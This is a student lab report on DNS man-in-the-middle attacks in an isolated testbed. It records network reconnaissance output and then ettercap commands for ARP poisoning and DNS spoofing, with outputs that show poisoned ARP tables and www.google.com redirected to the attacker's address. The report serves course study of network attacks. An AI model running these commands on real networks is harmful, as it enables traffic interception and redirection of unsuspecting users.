

# Instructions DNS MITM Attacks

Vinci Nicolò

05 November 2021

## 1 Part 1

The instruction for this part is in the file *task1\_command.txt*. The instruction has to be executed on the client machine:

```
$ dig www.google.com A
```

The result is:

```
otech2ah@client:~$ dig www.google.com A
; <<>> DiG 9.11.3-1ubuntu1.13-Ubuntu <<>> www.google.com A
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 16479
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 2
;; OPT PSEUDOSECTION:
;; EDNS: version: 0, flags:; udp: 4096
;; COOKIE: 0e5afc701aec6f4ce262a8d5617fc26e7a6c38a6c6c054ae (good)
;; QUESTION SECTION:
;www.google.com.                IN      A
;; ANSWER SECTION:
www.google.com.                10      IN      A      10.1.2.155
;; AUTHORITY SECTION:
google.com.                    604800  IN      NS      ns.google.com.
;; ADDITIONAL SECTION:
ns.google.com.                 10      IN      A      10.1.2.3
;; Query time: 8 msec
;; SERVER: 10.1.1.3#53(10.1.1.3)
;; WHEN: Mon Nov 01 03:33:18 PDT 2021
;; MSG SIZE rcvd: 120
```

Figure 1: Dig result on client machine

## 2 Part 2

Instructions for this part is in the file *task2\_commands.txt*. To discover IP and MAC address on client machine:

```
$ ifconfig
```

```

root@client:/users/otech2ah# ifconfig
eth3: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 192.168.1.103 netmask 255.255.252.0 broadcast 192.168.3.255
    inet6 fe80::211:43ff:fed5:f4c1 prefixlen 64 scopeid 0x20<link>
    ether 00:11:43:d5:f4:c1 txqueuelen 1000 (Ethernet)
    RX packets 31197 bytes 42740111 (42.7 MB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 8109 bytes 1012975 (1.0 MB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

eth4: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 10.1.1.2 netmask 255.255.255.0 broadcast 10.1.1.255
    inet6 fe80::211:43ff:fed5:f4c2 prefixlen 64 scopeid 0x20<link>
    ether 00:11:43:d5:f4:c2 txqueuelen 1000 (Ethernet)
    RX packets 127 bytes 23275 (23.2 KB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 137 bytes 18801 (18.8 KB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
    inet 127.0.0.1 netmask 255.0.0.0
    inet6 ::1 prefixlen 128 scopeid 0x10<host>
    loop txqueuelen 1000 (Local Loopback)
    RX packets 270 bytes 29136 (29.1 KB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 270 bytes 29136 (29.1 KB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

```

Figure 2: Client IP and MAC address

To discover arp table on client machine:

```
$ arp -n
```

```

root@client:/users/otech2ah# arp -n
Address HWtype HWaddress Flags Mask Iface
10.1.1.3 ether 00:04:23:ae:cc:7c C 10.1.1.3 eth4
192.168.1.254 ether 00:1b:21:cd:de:b1 C 192.168.1.254 eth3

```

Figure 3: Cache IP and Mac address from client arp table

To discover IP and MAC address on cache machine (client-cache):

```
$ ifconfig
```

```

root@cache:/users/otech2ah# ifconfig
eth1: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 10.1.1.3 netmask 255.255.255.0 broadcast 10.1.1.255
    inet6 fe80::204:23ff:feae:cc7c prefixlen 64 scopeid 0x20<link>
    ether 00:04:23:ae:cc:7c txqueuelen 1000 (Ethernet)
    RX packets 133 bytes 20259 (20.2 KB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 140 bytes 23868 (23.8 KB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

eth2: flags=4099<UP,BROADCAST,MULTICAST> mtu 1500
    ether 00:04:23:ae:cc:7d txqueuelen 1000 (Ethernet)
    RX packets 0 bytes 0 (0.0 B)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 0 bytes 0 (0.0 B)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

eth3: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 192.168.1.110 netmask 255.255.252.0 broadcast 192.168.3.255
    inet6 fe80::211:43ff:fed5:f4e8 prefixlen 64 scopeid 0x20<link>
    ether 00:11:43:d5:f4:e8 txqueuelen 1000 (Ethernet)
    RX packets 30674 bytes 44859883 (44.8 MB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 4661 bytes 452812 (452.8 KB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

eth4: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 10.1.2.2 netmask 255.255.255.0 broadcast 10.1.2.255
    inet6 fe80::211:43ff:fed5:f4e9 prefixlen 64 scopeid 0x20<link>
    ether 00:11:43:d5:f4:e9 txqueuelen 1000 (Ethernet)
    RX packets 155 bytes 30792 (30.7 KB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 163 bytes 22430 (22.4 KB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
    inet 127.0.0.1 netmask 255.0.0.0
    inet6 ::1 prefixlen 128 scopeid 0x10<host>
    loop txqueuelen 1000 (Local Loopback)
    RX packets 288 bytes 31114 (31.1 KB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 288 bytes 31114 (31.1 KB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

```

Figure 4: Client-Cache IP and MAC address

To discover arp table on cache machine (client-cache):

```
$ arp -n
```

```

root@cache:/users/otech2ah# arp -n
Address HWtype HWaddress Flags Mask Iface
10.1.1.2 ether 00:11:43:d5:f4:c2 C 10.1.1.2 eth1
192.168.1.254 ether 00:1b:21:cd:de:b1 C 192.168.1.254 eth3
10.1.2.3 ether 00:0e:0c:68:a7:11 C 10.1.2.3 eth4

```

Figure 5: Client-Cache arp table

To understand the path from client to cache machine, on client machine type:

```
$ sudo apt install traceroute -y
$ sudo traceroute -n 10.1.1.3
```

```

root@client:/users/otech2ah# traceroute -n 10.1.1.3
traceroute to 10.1.1.3 (10.1.1.3), 30 hops max, 60 byte packets
 1 10.1.1.3 6.496 ms 6.469 ms 6.440 ms

```

Figure 6: Client-Cache traceroute

To discover IP and MAC address on cache machine (cache-auth):

```
$ ifconfig
```

```
root@cache:/users/otech2ah# ifconfig
eth1: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 10.1.1.3 netmask 255.255.255.0 broadcast 10.1.1.255
    inet6 fe80::204:23ff:feae:cc7c prefixlen 64 scopeid 0x20<link>
    ether 00:04:23:ae:cc:7c txqueuelen 1000 (Ethernet)
    RX packets 133 bytes 20259 (20.2 KB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 140 bytes 23868 (23.8 KB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

eth2: flags=4099<UP,BROADCAST,MULTICAST> mtu 1500
    ether 00:04:23:ae:cc:7d txqueuelen 1000 (Ethernet)
    RX packets 0 bytes 0 (0.0 B)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 0 bytes 0 (0.0 B)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

eth3: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 192.168.1.110 netmask 255.255.252.0 broadcast 192.168.3.255
    inet6 fe80::211:43ff:fed5:f4e8 prefixlen 64 scopeid 0x20<link>
    ether 00:11:43:d5:f4:e8 txqueuelen 1000 (Ethernet)
    RX packets 30674 bytes 44859883 (44.8 MB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 4661 bytes 452812 (452.8 KB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

eth4: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 10.1.2.2 netmask 255.255.255.0 broadcast 10.1.2.255
    inet6 fe80::211:43ff:fed5:f4e9 prefixlen 64 scopeid 0x20<link>
    ether 00:11:43:d5:f4:e9 txqueuelen 1000 (Ethernet)
    RX packets 155 bytes 30792 (30.7 KB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 163 bytes 22430 (22.4 KB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
    inet 127.0.0.1 netmask 255.0.0.0
    inet6 ::1 prefixlen 128 scopeid 0x10<host>
    loop txqueuelen 1000 (Local Loopback)
    RX packets 288 bytes 31114 (31.1 KB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 288 bytes 31114 (31.1 KB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
```

Figure 7: Cache-Auth IP and MAC address

To discover arp table on cache machine (cache-auth):

```
$ arp -n
```

```
root@cache:/users/otech2ah# arp -n
Address                  HWtype  HWaddress           Flags Mask            Iface
10.1.1.2                  ether    00:11:43:d5:f4:c2    C                      eth1
192.168.1.254             ether    00:1b:21:cd:de:b1    C                      eth3
10.1.2.3                   ether    00:0e:0c:68:a7:11    C                      eth4
```

Figure 8: Cache-Auth arp table

To discover IP and MAC address on auth machine:

```
$ ifconfig
```

```

root@auth:/users/otech2ah# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 10.1.2.3 netmask 255.255.255.0 broadcast 10.1.2.255
    inet6 fe80::20e:cff:fe68:a711 prefixlen 64 scopeid 0x20<link>
    ether 00:0e:0c:68:a7:11 txqueuelen 1000 (Ethernet)
    RX packets 192 bytes 28801 (28.8 KB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 198 bytes 37454 (37.4 KB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

eth3: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
    inet 192.168.1.96 netmask 255.255.252.0 broadcast 192.168.3.255
    inet6 fe80::211:43ff:fed5:f572 prefixlen 64 scopeid 0x20<link>
    ether 00:11:43:d5:f5:72 txqueuelen 1000 (Ethernet)
    RX packets 30568 bytes 44822329 (44.8 MB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 2956 bytes 279930 (279.9 KB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
    inet 127.0.0.1 netmask 255.0.0.0
    inet6 ::1 prefixlen 128 scopeid 0x10<host>
    loop txqueuelen 1000 (Local Loopback)
    RX packets 392 bytes 43602 (43.6 KB)
    RX errors 0 dropped 0 overruns 0 frame 0
    TX packets 392 bytes 43602 (43.6 KB)
    TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0

```

Figure 9: Auth IP and MAC address

To discover arp table on auth machine:

```
$ arp -n
```

```

root@auth:/users/otech2ah# arp -n
Address HWtype HWaddress Flags Mask Iface
10.1.2.2 ether 00:11:43:d5:f4:e9 C eth0
192.168.1.254 ether 00:1b:21:cd:de:b1 C eth3

```

Figure 10: Auth arp table

To understand the path from cache to auth machine, on cache machine type:

```
$ sudo apt install traceroute -y
$ sudo traceroute -n 10.1.2.3
```

```

root@cache:/users/otech2ah# traceroute -n 10.1.2.3
traceroute to 10.1.2.3 (10.1.2.3), 30 hops max, 60 byte packets
 1 10.1.2.3 0.501 ms 0.444 ms 0.405 ms

```

Figure 11: Cache-Auth traceroute

### 3 Part 3

Instructions for this part is in the file *task3\_commands.txt*. On attacker machine run:

```
$ ettercap --text --iface eth0 --nossllmitm --nopromisc \
--only-mitm --mitm arp /10.1.2.2/// /10.1.2.3///
```

New arp table on cache (cache-auth):

```
$ arp -n
```

```
otech2ah@cache:~$ arp -n
Address      HWtype  HWaddress      Flags Mask    Iface
10.1.2.4     ether   00:04:23:ae:cc:32  C             eth1
10.1.1.2     ether   00:0e:0c:65:df:10  C             eth2
10.1.2.3     ether   00:04:23:ae:cc:32  C             eth1
192.168.1.254 ether   00:1b:21:cd:de:b1  C             eth3
```

Figure 12: New Cache-Auth arp table

New arp table on auth:

```
$ arp -n
```

```
otech2ah@auth:~$ arp -n
Address      HWtype  HWaddress      Flags Mask    Iface
10.1.2.4     ether   00:04:23:ae:cc:32  C             eth0
10.1.2.2     ether   00:04:23:ae:cc:32  C             eth0
192.168.1.254 ether   00:1b:21:cd:de:b1  C             eth3
```

Figure 13: New auth arp table

Traceroute from cache to auth, on cache machine type:

```
$ sudo traceroute -n 10.1.2.3
```

```
root@cache:/users/otech2ah# traceroute -n 10.1.2.3
traceroute to 10.1.2.3 (10.1.2.3), 30 hops max, 60 byte packets
 1  10.1.2.4  0.363 ms  0.323 ms  0.283 ms
 2  10.1.2.3  0.431 ms  0.406 ms  0.369 ms
```

Figure 14: Traceroute from cache to auth

Traceroute from auth to cache, on auth machine type:

```
$ sudo traceroute -n 10.1.2.2
```

```
root@auth:/users/otech2ah# traceroute -n 10.1.2.2
traceroute to 10.1.2.2 (10.1.2.2), 30 hops max, 60 byte packets
 1  10.1.2.4  0.548 ms  0.499 ms  0.461 ms
 2  10.1.2.2  0.420 ms  0.388 ms  0.514 ms
```

Figure 15: Traceroute from auth to cache

At the bottom of `/etc/ettercap/etter.dns` add `www.google.com A 10.1.2.4`. To perform DNS spoofing, on attacker machine type:

```
$ ettercap --text --iface eth0 --nsslmitm --nopromisc \
--plugin dns_spoof --mitm arp /10.1.2.2/// /10.1.2.3///
```

On client machine run:

```
$ dig www.google.com A
```

The result is:

```
otech2ah@client:~$ dig www.google.com A

; <<>> DiG 9.11.3-1ubuntu1.13-Ubuntu <<>> www.google.com A
; global options: +cmd
; Got answer:
; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 60605
; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 2

; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 3824a76f02882ec85bbe9a806180505f0cdb1a9f052d769a (good)
; QUESTION SECTION:
;www.google.com.                IN      A

; ANSWER SECTION:
www.google.com.                3517    IN      A      10.1.2.4

; AUTHORITY SECTION:
google.com.                    604241  IN      NS      ns.google.com.

; ADDITIONAL SECTION:
ns.google.com.                 3517    IN      A      10.1.2.4

; Query time: 6 msec
; SERVER: 10.1.1.3#53(10.1.1.3)
; WHEN: Mon Nov 01 13:38:55 PDT 2021
; MSG SIZE rcvd: 120
```

Figure 16: Client DNS spoofed query

## 4 Part 4

Instructions for this part is in the file *task4\_commands.txt*. The DNSSEC implementation has already explained in the part 4 of memo.